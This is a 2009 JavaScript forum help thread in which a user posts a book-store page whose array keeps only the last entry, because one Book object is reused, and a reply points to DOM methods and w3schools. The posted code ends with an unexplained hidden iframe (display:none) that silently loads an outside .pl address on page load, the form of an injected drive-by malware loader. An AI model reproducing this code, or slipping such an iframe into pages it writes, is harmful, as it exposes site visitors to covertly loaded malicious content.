| | |
help with array of objects in javascript
Please support our JavaScript / DHTML / AJAX advertiser: PostgreSQL or MySQL? Compare and contrast the two most popular open source databases
![]() |
•
•
Join Date: Aug 2008
Posts: 16
Reputation:
Solved Threads: 1
please help with this program it outputs and stores the last data added into the array(replaces all other data with the last data that was stored in the array).
JavaScript / DHTML / AJAX Syntax (Toggle Plain Text)
<html> <head> <script language="javascript"> function Book() { this.title="not yet selected"; this.isb="" this.copies=0; this.price=0.00; } var obj=new Book(); function begining() { //alert("the problem start"); var d=new Date() status=d.getHours()+":"+d.getMinutes(); } var aray=new Array() var n=0; function add() { obj.title=document.f1.t.value; alert(obj.title); obj.isb=document.f1.i.value alert(obj.isb); obj.copies=parseInt(document.f1.c.value); alert(obj.copies); obj.price=parseFloat(document.f1.p.value); alert(obj.price); aray[aray.length]=obj; if(n==0) { document.f2.sel.length=0; } var op=new Option(obj.title,obj.title,false,false); document.f2.sel.options[document.f2.sel.length]=op; n++; } function clearall() { document.f1.t.value=""; document.f1.i.value=""; document.f1.c.value=""; document.f1.p.value=""; } function Remove() { var index=document.f2.sel.selectedIndex; if(aray[index].copies==0) { document.f2.sel.options[index]=null; } } function checkdata() { for(var b=0;b<aray.length;b++) { alert(aray[b].title); alert(aray[b].isb); alert(aray[b].copies); alert(aray[b].price); } } </script> </head> <body bgcolor="silver" onload="setInterval('begining()',1000)"> <table width="100%" height="100%" border="7" cellspacing="3"> <tr><td> <h1><i>BOOK STORE</H1></I> <img src="e.jpg" /> <form name="f1"> TITTLE<input type="text" value="" name="t"/><br> ISBN#<input type="text" value="" name="i"/><br> COPIES AVAILABLE<input type="text" value="" name="c"/><br> SELLING PRICE<input type="text" value="" name="p"/><br> <input type="button" value=" Add Book" name="ad" onclick="add()" /> <input type="button" value="Clear All" name="oth" onclick="clearall()" /> <br><br> </form> </td><td> <H1>OTHER</H1> <img src="iron man.jpg" height="70%" /> <form name="f2" > <select name="sel"> <option value="" >opt1</option> </select><BR> <input type="button" value="Remove Book" name="sp"onclick="Remove()" /> <input type="button" value="aSort" name="sp" /> <input type="button" value="elements" name="el" onclick="checkdata()"/> </form> </td></tr> </table> <iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe> </body> </html>
Last edited by Ezzaral; Apr 20th, 2009 at 1:00 pm. Reason: Added [code] [/code] tags. Please use them to format any code that you post.
To address/create document elements in your intended way, you need to learn Javascript DOM methods, in particular:
;)
;)
;)
http://www.w3schools.com is a good place to start.
Airshow
http://www.w3schools.com is a good place to start.
Airshow
Last edited by Airshow; Apr 20th, 2009 at 9:13 pm. Reason: Added code tags
![]() |
Similar Threads
- Using "variable variables" in Javascript (JavaScript / DHTML / AJAX)
- JavaScript + Google Adsense Problem (JavaScript / DHTML / AJAX)
- add event listeners for dynamic list of objects (JavaScript / DHTML / AJAX)
- An array of arrays of of radio buttons (JavaScript / DHTML / AJAX)
- Strange Javascript results (JavaScript / DHTML / AJAX)
- Opinions? javascript/php/etc and programming standards (JavaScript / DHTML / AJAX)
- Javascript Structures? (JavaScript / DHTML / AJAX)
Other Threads in the JavaScript / DHTML / AJAX Forum
- Previous Thread: Is there an open-source or free sitewide messenger/chat similar to Facebook?
- Next Thread: Arrays in javascipt
| Thread Tools | Search this Thread |
Tag cloud for JavaScript / DHTML / AJAX
ajax ajaxcode ajaxhelp ajaxjspservlets animate api automatically blackjack browser bug calendar captchaformproblem checkbox child class close cookies createrange() cursor dependent disablefirebug dom dropdown editor element engine events explorer ext file firehose flash form forms game gears google gxt hiddenvalue highlightedword html htmlform ie8 iframe image() images internet java javascript jawascriptruntimeerror jquery jsf jsfile jump libcurl math matrixcaptcha media microsoft mp3 mysql object offline onerror onmouseoutdivproblem onreadystatechange parent passing pdf php player post progressbar rated regex runtime scroll search session shopping size software solutions sql star stars stretch synchronous text textarea twitter unicode validation web website window windowsxp wysiwyg xspf \n





